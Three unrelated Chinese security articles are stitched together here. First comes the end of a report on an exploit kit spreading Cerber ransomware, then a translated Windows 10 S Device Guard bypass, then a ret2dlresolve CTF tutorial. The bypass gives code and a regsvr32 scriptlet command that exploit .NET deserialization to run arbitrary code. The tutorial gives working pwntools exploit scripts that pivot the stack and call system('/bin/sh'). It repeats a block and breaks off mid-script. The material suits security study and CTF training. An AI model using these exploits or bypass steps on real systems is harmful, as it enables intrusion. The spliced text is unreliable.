[3]。这个对话框会自动根据当前系统语言，返回对应的版本翻译内容，而且其中文提示还非常本地化，很温馨的说如果不会安装使用Tor浏览器，请访问百度搜索”怎么安装Tor浏览器“，访问提示的网页，会提示支付1比特币，更详细的cerber4的分析请参考[5]。
图6 勒索提示
**三、攻击包特点分析**
这次挂马攻击利用广告系统进行传播，用户的触发量非常可观，同时因为广告投放的不确定性，也给我们追踪挂马来源带来了非常大的难度，导致我们一度难以定位。
与之前我们对NeutrinoEK分析对比可见，目前该攻击包采用了目前流行的漏洞组合，漏洞利用水平非常高，但是这个攻击包与NeutrinoEK相比又有不同特点，其自我保护措施较差，虽然使用了Gate技术来过滤部分请求，但是没有采用常见的ShadowDomain[4]技术去不停变换挂马网址，而使用了固定的ip网址；Flash文件也是不需要参数传递就可以运行，非常容易进行重放分析；也没有常见的利用IE信息泄露漏洞对系统环境进行检测的代码，因此整体给人一种技术水平错位的感觉。
另外一个特点是当以美国的代理IP访问时，会直接获得404，从提交到VT的记录是由服务器直接返回404错误，可见该攻击包针对不同地区的IP有做区别处理，反倒是大陆、台湾、韩国的IP可以正常访问，因此我们怀疑这次是对国内的定向挂马。
图8 VT提交记录
整体而言，虽然所使用的漏洞是常见的并且符合当前活跃攻击包的技术水平，但是其网址特征、页面流程和参数传递等技术特点却与目前活跃的NeutrinoEK、RigEK、MagnitudeEK不同，比较其Flash漏洞利用代码与Magnitude有一定的相似度，对此我们将继续关注。
**四、总结**
勒索软件获得的收益非常大，因此往往会采用最高级复杂的攻击手段来广泛传播和躲避查杀。近期勒索软件又有活跃的趋势，此次挂马行为虽然很快被我们发现，但是网上仍然不断有用户反馈中招，该挂马截至目前为止仍然处于活跃状态，我们也一直在持续对其进行监测。
为了防止感染勒索软件，请大家务必及时更新Flash并打上最新的系统补丁，不要随意单击运行邮件中的文件。而很多挂马是通过广告服务进行传播，所以尽量选择具备广告拦截功能的浏览器避免打开无用的广告。
图8 360安全卫士拦截漏洞利用效果图
目前360安全卫士会结合QEX非PE引擎静态扫描功能和动态行为检测，能够有效拦截这类漏洞攻击并阻止恶意软件的运行，在最新版360安全卫士11.0中还提供了反勒索软件服务，如果用户在开通反勒索软件服务的情况下仍然中毒造成损失的，360会负责赔付最高3比特币（约13000元人民币）的赎金，并协助还原加密文件。
本文由360 QEX引擎团队撰写，感谢360追日团队和网络安全研究院在本次挂马来源定位过程中的技术支持。
**参考文献**
[1] NeutrinoEK来袭：爱拍网遭敲诈者病毒挂马 <http://bobao.360.cn/news/detail/3302.html>
[2] CVE-2016-0189 (Internet Explorer) and Exploit Kit
<http://malware.dontneedcoffee.com/2016/07/cve-2016-0189-internet-explorer-and.html>
[3] Several Exploit Kits Now Deliver Cerber 4.0
<http://blog.trendmicro.com/trendlabs-security-intelligence/several-exploit-kits-now-deliver-cerber-4-0/>
[4] Threat Spotlight: Angler Lurking in the Domain Shadows
<https://blogs.cisco.com/security/talos/angler-domain-shadowing>
[5] 【木马分析】Cerber敲诈者家族再升级：Cerber4变身随机后缀
<http://bobao.360.cn/learning/detail/3108.html>
**附录**
IOC信息： | 社区文章 |
# 【技术分享】DG on Windows 10 S: 执行任意代码
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://tyranidslair.blogspot.jp/2017/07/dg-on-windows-10-s-executing-arbitrary.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
许多人可能会有一种错觉，那就是在Windows 10
S上执行非Microsoft代码是非常困难的。不过，就像您在前面的文章中看到的那样，事实并非如此，您需要的，无非就是安装Office，获取编写VBA宏脚本的权限，以及一个不含有MOTW的文件。事实上，Windows内核只是对加载可执行文件和DLL做了限制。但是，已经获取相应签名的应用程序将会畅行无阻，例如Office可以创建自己的可执行内容，而这些内容却可能被用户或攻击者所滥用。
因此，您可能还会认为，由于Windows默认安装了许多不同的脚本引擎，因此可以轻松运行任意代码。且慢，许多内置的脚本引擎（如运行JScript/
VBScript的Powershell和Windows Scripting
Host（WSH））都是“开明的”。这意味着当它们检测到启用UMCI时，它们将进入锁定模式，例如PowerShell的约束语言模式。如果正在执行的脚本也使用了与二进制可执行内容相同的证书集进行的签名，则这些开明的主机将解锁脚本语言的全部功能。通常情况下，有许多办法可以绕过这些限制，但是，这里只是围绕Windows
RT进行介绍。此外，如果有兴趣的话，您可以在[这里](https://channel9.msdn.com/Events/Blue-Hat-Security-Briefings/BlueHat-Security-Briefings-Fall-2013-Sessions/PowerShell-Code-Integrity)找到关于BlueHat旁路技术的完整演示文稿。
但从Win10S开始下手也是一个不错的选择。绕过上述限制时，主要求助于脚本引擎，但是就像之前文章中提到的那样，DG策略也提供了相应的黑名单。还有一些其他知名的恶意软件，如MSBuild也被列入了黑名单。所以我想我们必须回到最初的设想：默认的Win10S系统还有很多可执行文件可以被滥用，我们只需要找到它们即可。
**关于BinaryFormatter**
对象序列化框架通常蕴含着丰富的代码执行漏洞，而.NET也不例外。 不久之前，我在.NET中发现了一个处理WMI类方面的RCE。
您可以在这篇博客文章中阅读更多详细信息，但是简单来说，就是可以将任意字节流传递给内置的BinaryFormatter类，并从内存中加载程序集进而执行任意代码。
虽然不太明显，实际上这也是一种DG旁路技术。尽管PowerShell允许您以约束语言模式来查询任意的WMI服务器和类，但是.NET运行时并不是“开明的”，所以它将从一个字节数组中加载程序集。从字节数组加载很重要，因为正常情况下，.NET将从需要映射到内存的可执行文件中加载程序集。将可执行文件映射到内存中的行为会触发内核中的CI模块来验证签名，根据配置的CI策略，将不允许加载任何代码。对于字节数组，内核不会将程序集视为.NET，所以会进行处理并从中执行任意的托管代码。然而，DCOM漏洞已经被修复了，PowerShell会被阻止，所以我们无法调用WMI方法。但是，如果我们可以找到另一个应用程序，它可以使用字节数组并将其传递给BinaryFormatter，那么，我们就可以重用我以前的漏洞利用中使用的反序列化漏洞链，并使用它来绕过内存中的DG保护。
这里考察的重点是在％SystemRoot％
Microsoft.Net目录中的可执行文件，其中许多是用.NET编写的，因此很可能可以加以利用。首先引起我的兴趣的是AddInProcess.exe，这主要归功于它的名称。这是一个个可执行文件，实际上，之前我就从Partial
Trust沙箱转义的角度对它进行过研究。
这个代码是.NET
4中引入的插件模式的一部分。插件模式提供了一个结构化框架，提供了某些功能，以便于第三方向现有应用程序添加附加功能。为此，开发者需要开发相应的接口，建立管道以及许多其他复杂的工作，但是我们并不关心这些。
有趣的是，这个模式支持Out-of-Process（OOP）插件，这在是AddInProcess的用途。为了托管这些OOP插件，需要启动一个可执行文件。而这个可执行文件的主函数其实很简单，如下所示：
static int Main(string[] args) {
if (args.Length != 2
|| !args[0].StartsWith("/guid:")
|| !args[1].StartsWith("/pid:")) {
return 1;
}
string guid = args[0].Substring(6);
int pid = int.Parse(args[1].Substring(5));
AddInServer server = new AddInServer();
var server = new BinaryServerFormatterSinkProvider {
TypeFilterLevel = TypeFilterLevel.Full
};
var client = new BinaryClientFormatterSinkProvider();
var props = new Hashtable();
props["name"] = "ServerChannel";
props["portName"] = guid;
props["typeFilterLevel"] = "Full";
var chnl = new AddInIpcChannel(props, client, server);
ChannelServices.RegisterChannel(chnl, false);
RemotingServices.Marshal(server, "AddInServer");
Process.GetProcessById(pid).WaitForExit();
return 0;
}
这里要指出的是，它使用ChannelServices.RegisterChannel：这表明它正在使用.NET的远程处理技术进行通信。对了，之前我们还在哪里看到过.NET远程处理技术呢？
哦，没错，是我最后一次破解.NET远程处理技术的时候。但是这里的重点在于，它不仅使用了可以被破解的.NET远程处理技术，而且还以Full
TypeFilterLevel模式使用了BinaryFormatter，这意味着我们可以对任何数据进行反序列化，而不必担心各种安全限制。
该进程会通过Windows命名管道创建一个IPC通道，并且使用在命令行中传递的portName属性来指定管道的名称。该进程还会接收进程的ID，它会一直等待，直到其他进程退出为止。
因此，我们可以使用以下命令行启动AddInProcess：
AddInProcess.exe /guid:32a91b0f-30cd-4c75-be79-ccbd6345de11 /pid:XXXX
将XXXX替换为相应的进程ID，例如资源管理器。
我们会发现该进程创建了命名管道\\.pipe32a91b0f-30cd-4c75-be79-ccbd6345de11。
该服务的名称是通过RemotingServices.Marshal设置的，这里为AddInServer。 因此，我们可以将远程URI构建为ipc：//
32a91b0f-30cd-4c75-be79-ccbd6345de11 /
AppInServer，我们可以使用我的ExploitRemotingService工具来验证它是否可以加以利用（当然，是在非DG Windows
10机器上）。
我们需要使用–useser标志与ExploitRemotingService工具，这样就可以不借助于MS已经修复的旧漏洞了。这个useser标志可以发送序列化对象，并从服务器返回，从而允许执行文件操作，如列出目录以及上传/下载文件等。需要注意的是，只有在TypeFilterLevel设置为Full时才这样做才有效。这表明远程通道容易受到任何反序列化的影响。所以，您可以借助我的工具，从.NET
DCOM漏洞利用代码中截取相应的字节，替换序列化的字节，这样就可以在AddInProcess的上下文中执行任意代码了。
需要注意的是：如果发送数据到这个IPC服务器的唯一方法是运行一个专门设计来与.NET远程服务通信的、我们可以运行任意代码的工具的话，那么我们就无需旁路了。由于这个通道是一个命名管道，那么，我们是否可以远程利用它呢？很可惜，.NET
Framework在这个创建命名管道的时候，使用了一个阻止网络访问的显式安全描述符。
理论上，我们可以修改权限，但就算我们找到了这样的工具，也还是需要另外一台机器——太麻烦了。那么该怎么办？幸运的是，对于我们来说，.NET远程处理协议非常简单。在连接开始时，它没有进行协商，客户端只需将正确格式化的字节集（包括头文件和序列化消息）发送到服务器即可，如果正确，那么服务器将给予响应。我们可以提前创建一个包含序列化请求的二进制文件，并将其写入命名管道。如果我们利用ExploitRemotingService封装请求，并结合之前的.NET序列化漏洞，我们就可以生成一个攻击.NET
AddInProcess服务器的二进制文件。
如果我们有一个名为request.bin的文件，则将其写入命名管道最简单的方法，就是使用CMD：
C:> type request.bin > \.pipe32a91b0f-30cd-4c75-be79-ccbd6345de11
太好了，这的确很简单，不过……我们不能运行CMD。那么，我们还能用什么？ 当WSH被阻止时，我们仍然可以在regsvr32中运行scriptlet。
但是，脚本托管环境是开明的，在JScript / VBScript的情况下，意味着在创建的COM对象方面会受到严格的限制。
您可以创建的唯一对象是Scripting.FileSystemObject，它允许您打开任意文本文件并进行读/写操作。同时，它支持打开命名管道，并使用这一功能来处理进程输出。
因此，您可以通过下面的操作将任意数据写入命名管道。
var fso = new ActiveXObject("Scripting.FileSystemObject");
var pipe = "\\.\pipe\32A91B0F-30CD-4C75-BE79-CCBD6345DE11";
// Create a new ANSI text file object to the named pipe.
var file = fso.CreateTextFile(pipe, true, false);
// Write raw data to the pipe.
var data = "RAW DATA";
file.Write(data);
file.Close();
不过，事情没有这么简单。请求数据是任意二进制的，所以我最初尝试使用一个Unicode文本文件，这使得二进制数据的写入变得容易起来。在创建构成请求的文件时，该类首先会写入一个字节顺序标记（BOM）。所以，我开始尝试ANSI模式，但是这会将UCS-2字符从JScript转换为当前的ANSI代码页。在英文Windows系统上，这通常是代码页1252，您可以在UCS-2字符和任意8位字符之间构建映射表。但是，如果您的系统被设置为另一个代码页，例如更复杂的多字节字符集之一，如Shift-JIS，这就难办了。无论如何，我敢肯定，将来可以设法让它在更多的平台上工作，使其可以加载任何任意的.NET代码，并通过DG
Win10S强制策略执行这些代码。
我已将代码上传到我的github。您可以在另一台计算机上运行CreateAddInIpcData工具，只要提供IL-only
.NET程序集的路径和输出scriptlet文件的名称即可。确保给scriptlet文件提供一个.sct扩展名。
.NET程序集必须包含单个具有空构造函数的公共类，以在反序列化期间充当入口点。类似下面代码的C#_也可以，只需编译成一个类库程序集即可。
public class EntryPoint {
public EntryPoint() {
MessageBox.Show("Hello");
}
}
将输出脚本文件复制到Win10S机器。使用前面的命令行启动AddInProcess（确保GUID与前面的相同，因为端点URI以序列化请求结尾），并指定PID（从任务管理器获取）。
确保AddInProcess可执行文件不会立即退出，因为这将在命令行中显示错误信息。
执行scriptlet时，可以通过在资源管理器中右键单击它，并选择“注销”，或从资源管理器的“运行”对话框中手动输入以下命令：
regsvr32 /s /n /u /i:c:pathtoscriptlet.sct scrobj.dll
您现在应该会发现，任意.NET代码都可以在AddInProcess的上下文中执行了。这样，除了从磁盘上的文件加载未签名的.NET程序集外，您还可以随意编写自己喜欢的代码了。
好了，该说的都说了。应该清楚的是，现在UMCI和.NET搭配得还不太好，就像4年前当我用类似的技巧来攻击Windows
RT时一样。当然，我不知道Microsoft未来是否会限制从内存中加载.NET程序集。
如果您担心这种安全漏洞，您可以在DG或Applocker策略中阻止AddInProcess。然而，除非Microsoft找到了.NET应用程序混淆代理绕过CI策略的解决方案，否则，肯定还会有其他的旁路技术。如果您打算将该二进制文件添加到自己的DG策略中的话，建议您按照这篇文章中的说明进行操作。此外，不要忘了同时将AddInProcess32加入黑名单。
在后面的文章中，我们将利用这个任意代码执行漏洞来运行一些其他的分析工具，甚至可以提供反向Powershell——从这里可以看出，.NET的确是个好东东，所以你应该始终使用.NET来编写自己的工具。;-) | 社区文章 |
# 基本概念
以例子来说明一些概念：
#include <stdio.h>
int main()
{
puts("Hello Pwn\n");
return 0;
}
//gcc -m32 -fno-stack-protector -no-pie -s hellopwn.c
动调一下：
跟进puts，看到jmp到了一个并不是libc的地址，正是因为延迟绑定。然后push了一个0，再push了一个0x80482d0地址，最后跳到_dl_runtime_resolve去执行。
`_dl_runtime_resolve(link_map,reloc_arg)`
先说`0x80482d0`，是link_map的地址，其结构包含了`.dynamic`指针，通过link_map，_dl_runtime_resolve可以访问到.dynamic这个section。
再来看一些比较重要的section
* .dynamic
这个section包含了很多动态链接需要的信息，但是我们着重关注三个点：
`DT_STRTAB`、`DT_SYMTAB`、`DT_JMPREL`
这三项跟别包含了指向对应section的指针：
`.dynstr`、`.dynsym`、`.rel.plt`
root@16-223:/pwn/ret2dlresolve# readelf -S hello
There are 29 section headers, starting at offset 0x114c:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481cc 0001cc 000050 10 A 6 1 4
[ 6] .dynstr STRTAB 0804821c 00021c 00004a 00 A 0 0 1
[ 7] .gnu.version VERSYM 08048266 000266 00000a 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048270 000270 000020 00 A 6 1 4
[ 9] .rel.dyn REL 08048290 000290 000008 08 A 5 0 4
[10] .rel.plt REL 08048298 000298 000010 08 AI 5 24 4
[11] .init PROGBITS 080482a8 0002a8 000023 00 AX 0 0 4
[12] .plt PROGBITS 080482d0 0002d0 000030 04 AX 0 0 16
[13] .plt.got PROGBITS 08048300 000300 000008 00 AX 0 0 8
[14] .text PROGBITS 08048310 000310 000192 00 AX 0 0 16
[15] .fini PROGBITS 080484a4 0004a4 000014 00 AX 0 0 4
[16] .rodata PROGBITS 080484b8 0004b8 000013 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 080484cc 0004cc 00002c 00 A 0 0 4
[18] .eh_frame PROGBITS 080484f8 0004f8 0000cc 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 000014 04 WA 0 0 4
[25] .data PROGBITS 0804a014 001014 000008 00 WA 0 0 4
[26] .bss NOBITS 0804a01c 00101c 000004 00 WA 0 0 1
[27] .comment PROGBITS 00000000 00101c 000035 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 001051 0000fa 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
通过上述命令可以看到对应section的地址，可以看到和IDA给出的地址是一致的。
* .dynstr
这就是字符串表，index为0的值永远为0。下面就是动态链接用到的字符串(包括函数名)，每个均以0为结尾。引用时即以下标相对0x804821C来偏移。
* .dynsym
符号表(结构体数组)，记录了符号信息，每个结构体对应一个符号。我们关心符号本身，例如puts。结构体如下:
typedef struct
{
Elf32_Word st_name; //符号名，是相对.dynstr起始的偏移，这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言，它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言，其他字段都是0
* .rel.plt
重定位表(结构体数组)，每个结构体对应一个导入函数，结构体如下：
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
//一些关于导入符号的信息，我们只关心从第二个字节开始的值((val)>>8)，忽略那个07
//1和3是这个导入函数的符号在.dynsym中的下标，
//如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;
重定位表(结构体数组)，每个结构体对应一个导入函数，结构体如下：
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
//一些关于导入符号的信息，我们只关心从第二个字节开始的值((val)>>8)，忽略那个07
//1和3是这个导入函数的符号在.dynsym中的下标，
//如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;
# _dl_runtime_resolve
说完基本概念，来看看`_dl_runtime_resolve(link_map,reloc_arg)`具体做了些什么。
1. 访问.dynamic，取出.dysym、.dystr、.rel.plt指针。
2. .rel.plt+reloc_arg，求出当前函数的重定位表项Elf32_Rel的指针，记作rel。
3. 做rel->r_info >> 8运算作为.dynsym的下标，求出当前函数的符号表项Elf32_Sym指针，记作sym。
4. .dynstr + sym->st_name得出符号字符串指针。
5. 在动态链接库查找该函数地址，并将地址赋值给*rel->r_offset，即GOT表。
6. 调用该函数。
# x86-利用-1
当安全机制为No
RELRO时才可利用(即.dynamic可写)，因要从.dynamic拿到.dynstr字符串表的指针加上偏移即函数名字符串，假设我们可以改写指针到可操作空间，即可修改正常函数偏移为想执行的函数，达到劫持程序流的目的。
看个例子：
add功能，先calloc一个作为结构体，里面存放了下面calloc的chunk的地址，然后size可以自定义，再calloc一个chunk用来存内容。需要注意的是只读了1个字节，换算下来应该用p8来发送。
需要特别注意一下read这个函数，输入多少字节一定要补齐，不然不会继续接受下一步，例如0x20的chunk要输入满0x20，而不能习惯用4个字节代替。
再来看edit:
重新输入了size，因此这里存在堆溢出的情况。
free，经过动调这个函数有点迷。准确的说是chunk_list指针有点问题，修改0下标的修改不了。
整个程序没有任何输出，只是存在堆溢出，可以通过修改struct
chunk中的地址实现任意地址写。没有好的leak地址的方法，但是我们可以通过修改.dynstr来劫持程序。
在bss段上先伪造一个.dynstr结构:
########################
new(0x10,'a'*0x10)#0
new(0x10,'b'*0x10)#1
new(0x10,'c'*0x10)#2
new(0x10,'/bin/sh\x00'.ljust(0x10,'d'))#3
fake_dynstr_address = 0x0000000006020E0
free_offset = 0x0000000000400457 - 0x00000000004003F8
libc_offset = 0x000000000040046B - 0x000000000040045E
fake_dynstr = b'\x00' * free_offset + b'system\x00'
fake_dynstr+= b'\x00' * libc_offset
fake_dynstr+= b'GLIBC_2.4\x00GLIBC_2.2.5\x00'
strtab = 0x601EA8 + 0x8
payload = b'A' * 0x10 + p64(0) + p64(0x21) + p64(0) + p64(fake_dynstr_address)
edit(1,len(payload),payload)
构造payload的时候要注意一个问题，因为dynstr是字符串，所以偏移计算要注意：
正常是free\x00字符串，修改成system\x00的话那么后面补0要从0x400457+7也就是0x40045E开始。
通过edit(1)修改2下标chunk结构体中的指针:
上图这个0x80是我测试的时候写测，正常0x10也ok。
然后edit(2)，我们构造的fake_dynstr就会写到bss段上:
`edit(2,len(fake_dynstr),fake_dynstr)`
然后再修改dynamic中的strtab为我们伪造的这个地址:
payload = b'A' * 0x10 + p64(0) + p64(0x21) + p64(0) + p64(strtab)
edit(1,len(payload),payload)
edit(2,0x8,p64(fake_dynstr_address))
修改成功，触发free即可（因为free还没有调用过，调用过如何利用看利用3）。
# x86-利用-2
当dynamic不能写的时候，利用1就失效了，还有另外一种利用方式是修改_dl_runtime_resolve的第二个参数，再来看它的执行流程:
1. 访问.dynamic，取出.dysym、.dystr、.rel.plt指针。
2. .rel.plt+reloc_arg，求出当前函数的重定位表项Elf32_Rel的指针，记作rel。
3. 做rel->r_info >> 8运算作为.dynsym的下标，求出当前函数的符号表项Elf32_Sym指针，记作sym。
4. .dynstr + sym->st_name得出符号字符串指针。
5. 在动态链接库查找该函数地址，并将地址赋值给*rel->r_offset，即GOT表。
6. 调用该函数。
第二个过程中，若能控制reloc_arg，可以使rel指向一个可读写的区域，例如bss；
第三个过程中，我们只要在伪造的rel内部放一个r_info，即可控制sym，一般r_info设置为0xXXXXXX07，其中XXXXXX为相对.dynsym的下标(不是偏移)，下标一般是offset/0x10(32位)，导入函数一般是07，因此用07结尾；
第四个过程中，没有检查，所以字符串也可伪造。
看个例题XDCTF2015_pwn200:
栈溢出，可以利用的只有write、read，strlen等函数，这个题其实用普通ret2libc也是ok的。
Partial RELRO，dynamic不可写。
1、栈迁移到BSS段
root@16-223:/pwn/ret2dlresolve# ROPgadget --binary bof --only "pop|ret"
Gadgets information
============================================================
0x0804862b : pop ebp ; ret
0x08048628 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804836d : pop ebx ; ret
0x0804862a : pop edi ; pop ebp ; ret
0x08048629 : pop esi ; pop edi ; pop ebp ; ret
0x08048356 : ret
0x0804846e : ret 0xeac1
Unique gadgets found: 7
root@16-223:/pwn/ret2dlresolve# ROPgadget --binary bof --only "leave|ret"
Gadgets information
============================================================
0x08048445 : leave ; ret
0x08048356 : ret
0x0804846e : ret 0xeac1
Unique gadgets found: 3
read = elf.plt['read']
write = elf.plt['write']
bss = elf.bss() + 0x800
pop_esi_edi_ebp_ret = 0x08048619
leave_ret = 0x08048458
pop_ebp_ret = 0x0804861b
vuln = 0x080484D6
gdb.attach(p,"b *0x08048519")
payload = b'A' * 112 + p32(read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss) + p32(0x80)
payload+= p32(pop_ebp_ret) + p32(bss) + p32(leave_ret)
sda("XDCTF2015~!\n",payload)
sleep(2)
payload = b'BBBB'
payload+= p32(write) + p32(0) + p32(1) + p32(bss+0x50) + p32(0x8)
payload = payload.ljust(0x50,b'\x00') + b'/bin/sh\x00'
payload = payload.ljust(0x80,b'\x00')
sd(payload)
emm，一开始buu下的bof怎么都不执行write，后面调试发现不对劲...最后还是自己编译的ok。
3个pop的原理很简单，执行完read(0,bss,0x80)后，三个参数还在栈上，因此需要3个pop弹出从而继续执行下面的pop_ebp_ret。
为什么需要pop_ebp_ret呢，是因为3个pop的最后一个是pop_ebp，因此为了让ebp为bss的地址，需要再执行一个pop_ebp_ret。
2、控制程序执行plt_0的相关指令
push link_map以及跳转到_dl_runtime_resolve。还需要提供write重定位表项在GOT表中的偏移，
plt:（objdump -d -j .plt bof1）
因此plt_0 = 0x08048380，write_index_offset = 0x20 `80483c6: 68 20 00 00 00 push
$0x20`
GOT 表的第 0 项（本例中 0x804a004）存储的就是 link_map 的地址。
plt[0]的目的就是执行push以及jmp resolve，push的就是link_map，用0x20作为offset。
sleep(2)
plt_0 = 0x08048380
write_index_offset = 0x20
payload = b'BBBB'
payload+= p32(plt_0) + p32(write_index_offset) + p32(0) + p32(1) + p32(bss+0x50) + p32(0x8)
#payload+= p32(write) + p32(0) + p32(1) + p32(bss+0x50) + p32(0x8)
payload = payload.ljust(0x50,b'\x00') + b'/bin/sh\x00'
payload = payload.ljust(0x80,b'\x00')
sd(payload)
3、还是执行plt_0，这次控制offset指向我们伪造的地址
r_info:（readelf -r bof1）
因此write_rinfo = 0x0000607
rel.plt:（objdump -s -j .rel.plt bof1）
rel_plt = 0x8048330
sleep(2)
plt_0 = 0x08048380
write_rinfo = 0x0000607
rel_plt = 0x8048330
index_offset = bss + 0x60 - rel_plt
write_got = elf.got['write']
payload = b'BBBB'
payload+= p32(plt_0) + p32(index_offset) + p32(0) + p32(1) + p32(bss+0x50) + p32(0x8)
#payload+= p32(write) + p32(0) + p32(1) + p32(bss+0x50) + p32(0x8)
payload = payload.ljust(0x50,b'\x00') + b'/bin/sh\x00'
payload = payload.ljust(0x60,b'\x00') + p32(write_got) + p32(write_rinfo)
payload = payload.ljust(0x80,b'\x00')
sd(payload)
我们在bss + 0x60的地方伪造了重定位表，仍然还是write，可以看到输出了字符串。
4、伪造sym，使其指向我们控制的st_name
st_name = 0x4c
#sleep(2)
plt_0 = 0x08048380
write_rinfo = 0x0000607
rel_plt = 0x8048330
index_offset = bss + 0x30 - rel_plt
write_got = elf.got['write']
dynsym = 0x80481D8
dynstr = 0x8048278
fake_sym_address = bss + 0x60
align = 0x10 - ((fake_sym_address - dynsym) & 0xf)
fake_sym_address = fake_sym_address + align
write_rinfo = int((fake_sym_address - dynsym) / 0x10)
write_rinfo = (write_rinfo << 8) | 0x7
st_name = 0x4c
payload = b'BBBB'
payload+= p32(plt_0) + p32(index_offset) + p32(0) + p32(1) + p32(bss+0x50) + p32(0x8)
payload = payload.ljust(0x30,b'\x00') + p32(write_got) + p32(write_rinfo)
#payload+= p32(write) + p32(0) + p32(1) + p32(bss+0x50) + p32(0x8)
payload = payload.ljust(0x50,b'\x00') + b'/bin/sh\x00'
payload = payload.ljust(0x60,b'\x00') + b'B' * align + p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = payload.ljust(0x80,b'\x00')
sd(payload)
先来看
fake_sym_address = bss + 0x60
align = 0x10 - ((fake_sym_address - dynsym) & 0xf)
fake_sym_address = fake_sym_address + align
在bss+0x60处伪造dynsym，后面的aligin是因为Elf32_Sym结构体是0x10，为了对齐。例如我们在0x20处想伪造，真正的在0x12处，那么aligin=0x2，所以伪造的地址应该在0x22处。
write_rinfo = int((fake_sym_address - dynsym) / 0x10)
write_rinfo = (write_rinfo << 8) | 0x7
st_name = 0x4c
write_info就是r_info，计算方法就是我们伪造的dynsym - 真正的，因为是下标所以除以0x10。
那么这样，整个payload就清晰了：
1. 列表项首先跳转plt[0]，压入offset(我们伪造的rel的offset），即reloc_arg
2. dl函数根据伪造的rel->r_info计算出我们伪造的dynsym下标。
3. 根据伪造的dymsym下标拿到st_name
这里我调整了一下fake_rel(bss+0x30)以及fake_sym(bss+0x60)的位置
5、伪造st_name
那么接下来，只要伪造st_name，即可getshell。
考虑直接在/bin/sh字符串后面，因为还有空间.
fake_sym_address = bss + 0x60
align = 0x10 - ((fake_sym_address - dynsym) & 0xf)
fake_sym_address = fake_sym_address + align
write_rinfo = int((fake_sym_address - dynsym) / 0x10)
write_rinfo = (write_rinfo << 8) | 0x7
st_name = (bss + 0x50 + 0x8) - dynstr
payload = b'BBBB'
payload+= p32(plt_0) + p32(index_offset) + p32(0) + p32(bss+0x50)
payload = payload.ljust(0x30,b'\x00') + p32(write_got) + p32(write_rinfo)
#payload+= p32(write) + p32(0) + p32(1) + p32(bss+0x50) + p32(0x8)
payload = payload.ljust(0x50,b'\x00') + b'/bin/sh\x00' + b'system\x00'
payload = payload.ljust(0x60,b'\x00') + b'B' * align + p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = payload.ljust(0x80,b'\x00')
sd(payload)
最终payload:
from pwn import *
from LibcSearcher import *
context.terminal = ["tmux","splitw","-h"]
context(arch='amd64',os='linux',log_level='debug')
if(len(sys.argv) < 2):
print("Usage:")
print("\tpython3 exploit [elf] [l r]")
exit(0)
if(sys.argv[2]=='l'):
p = process('./'+sys.argv[1])
elf = ELF('./'+sys.argv[1])
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('node4.buuoj.cn','25733')
elf = ELF('./'+sys.argv[1])
#libc = ELF('./')
sl = lambda x:p.sendline(x)
sd = lambda x:p.send(x)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
rv = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
ia = lambda :p.interactive()
debug = lambda x:print("[+] "+str(x))
ru7f = lambda : u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
ruf7 = lambda : u64(ru(b'\xf7')[-3:].ljust(4,b'\x00'))
def pwn():
read = elf.plt['read']
write = elf.plt['write']
bss = elf.bss() + 0x800
pop_esi_edi_ebp_ret = 0x08048619
leave_ret = 0x08048458
pop_ebp_ret = 0x0804861b
#gdb.attach(p,"b *0x08048519")
payload = b'A' * 112 + p32(read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss) + p32(0x80)
payload+= p32(pop_ebp_ret) + p32(bss) + p32(leave_ret)
sda("XDCTF2015~!\n",payload)
#sleep(2)
plt_0 = 0x08048380
write_rinfo = 0x0000607
rel_plt = 0x8048330
index_offset = bss + 0x30 - rel_plt
write_got = elf.got['write']
dynsym = 0x80481D8
dynstr = 0x8048278
fake_sym_address = bss + 0x60
align = 0x10 - ((fake_sym_address - dynsym) & 0xf)
fake_sym_address = fake_sym_address + align
write_rinfo = int((fake_sym_address - dynsym) / 0x10)
write_rinfo = (write_rinfo << 8) | 0x7
st_name = (bss + 0x50 + 0x8) - dynstr
payload = b'BBBB'
payload+= p32(plt_0) + p32(index_offset) + p32(0) + p32(bss+0x50)
